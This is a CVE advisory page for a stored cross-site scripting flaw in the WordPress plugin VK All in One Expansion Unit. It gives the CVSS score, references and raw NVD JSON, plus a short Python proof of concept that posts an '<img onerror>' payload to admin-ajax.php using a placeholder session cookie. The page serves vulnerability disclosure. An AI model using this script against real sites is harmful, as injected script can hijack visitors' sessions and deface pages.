CVE-2026-39483

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hidekazu Ishikawa VK All in One Expansion Unit vk-all-in-one-expansion-unit allows Stored XSS.This issue affects VK All in One Expansion Unit: from n/a through <= 9.113.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

VK All in One Expansion Unit <= 9.113.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-39483 (Stored XSS)
import requests

target = "http://example.com/wp-admin/admin-ajax.php"
payload = '<img src=x onerror=alert(1)>'

# Simulate low-privileged user posting data
post_data = {
    "action": "vk_exunit_save_option", 
    "option_data": payload
    
}

cookies = {
    "wordpress_logged_in_...": "session_cookie_here"
}

response = requests.post(target, data=post_data, cookies=cookies)

if response.status_code == 200:
    print("Payload injected successfully.")
else:
    print("Injection failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39483
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39483
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39483/
[4] VulDB https://vuldb.com/cve/CVE-2026-39483
[5] https://patchstack.com/database/Wordpress/Plugin/vk-all-in-one-expansion-unit/vulnerability/wordpress-vk-all-in-one-expansion-unit-plugin-9-113-3-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39483", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:22.970", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hidekazu Ishikawa VK All in One Expansion Unit vk-all-in-one-expansion-unit allows Stored XSS.This issue affects VK All in One Expansion Unit: from n/a through <= 9.113.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/vk-all-in-one-expansion-unit/vulnerability/wordpress-vk-all-in-one-expansion-unit-plugin-9-113-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}